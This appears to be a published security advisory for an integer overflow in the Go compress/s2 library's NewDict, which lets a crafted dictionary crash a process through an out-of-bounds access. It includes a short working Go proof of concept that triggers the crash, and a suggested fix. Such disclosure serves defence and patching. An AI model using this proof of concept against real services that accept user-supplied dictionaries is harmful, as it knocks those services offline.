Vulnerability GHSA-259r-337f-4rfw

High Risk
HIGH RISK
CVSS Score: 7.5
Score Range: 7.0–8.9
High severity vulnerabilities (CVSS 7.0–8.9). Serious vulnerabilities that should be prioritized soon after critical fixes.
2 hours ago
October 20, 2026 at 02:33 PM UTC
Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress
v1.2.1 - v1.18.6
v1.2.1 - v1.18.6

Summary

Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress

Details

Signed Integer Overflow in s2.NewDict

Summary

A signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV.

Package

  • Name: github.com/klauspost/compress/s2
  • Ecosystem: Go
  • Affected versions: <= v1.18.6 (all versions with NewDict function)

Severity

High (7.5) — CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Vulnerability

Type

  • CWE-190: Integer Overflow or Wraparound
  • CWE-787: Out-of-bounds Write (via unsafe.Pointer)

Description

The NewDict() function reads a uvarint from dictionary data and converts it to int:

r, n := binary.Uvarint(dict)
// ...
d.repeat = int(r)
if d.repeat > len(dict) {
    return nil
}

When r exceeds MaxInt64 (9223372036854775807), int(r) overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed.

When Dict.Encode() is called, the negative repeat value causes an integer overflow in encodeBlockDictGo():

repeat := len(dict.dict) - dict.repeat  // overflows: 62 - (-5758978476775341977) = huge positive
candidate := len(dict.dict) - repeat + s // underflows to negative
load32(dict.dict, candidate)             // OOB via unsafe.Pointer

load32 calls le.Load32 which uses unsafe.Pointer arithmetic without bounds checking:

func Load32[I Indexer](b []byte, i I) uint32 {
    return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i))
}

This causes a segmentation fault (SIGSEGV) when the negative index is dereferenced.

PoC

package main

import (
    "encoding/binary"
    "fmt"
    "github.com/klauspost/compress/s2"
)

func main() {
    var dictData []byte
    buf := make([]byte, binary.MaxVarintLen64)
    n := binary.PutUvarint(buf, 12687765596934209639) // > MaxInt64
    dictData = append(dictData, buf[:n]...)
    dictData = append(dictData, make([]byte, 16)...) // minimum dict size

    dict := s2.NewDict(dictData)
    // dict is non-nil despite invalid repeat value (overflow bypassed validation)

    src := make([]byte, 64)
    for i := range src { src[i] = byte(i) }
    dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer
}

Impact

  • Denial of Service: The process crashes immediately with SIGSEGV

Attack Vector

Any application that:

  1. Accepts user-supplied S2 dictionary data via s2.NewDict()
  2. Calls Dict.Encode() on any data ≥32 bytes

Suggested Fix

Validate the uvarint value before converting to int:

if r > math.MaxInt64 {
    return nil
}
d.repeat = int(r)

Or use uint for the repeat field and validate against uint(len(dict)).

References

  • Source: s2/dict.go lines 59-61 (vulnerability), s2/encode_all.go line 947 (crash site)
  • Commit: 539243b (v1.18.6 + 4 commits)

Credits

Christopher Linke / https://github.com/celinke97/

Timeline

Published
2 hours ago
October 20, 2026 at 02:33 PM UTC
Fixed (v1.18.7)
3 months ago
June 30, 2026 at 09:38 AM UTC
Last Modified
2 hours ago
October 20, 2026 at 02:45 PM UTC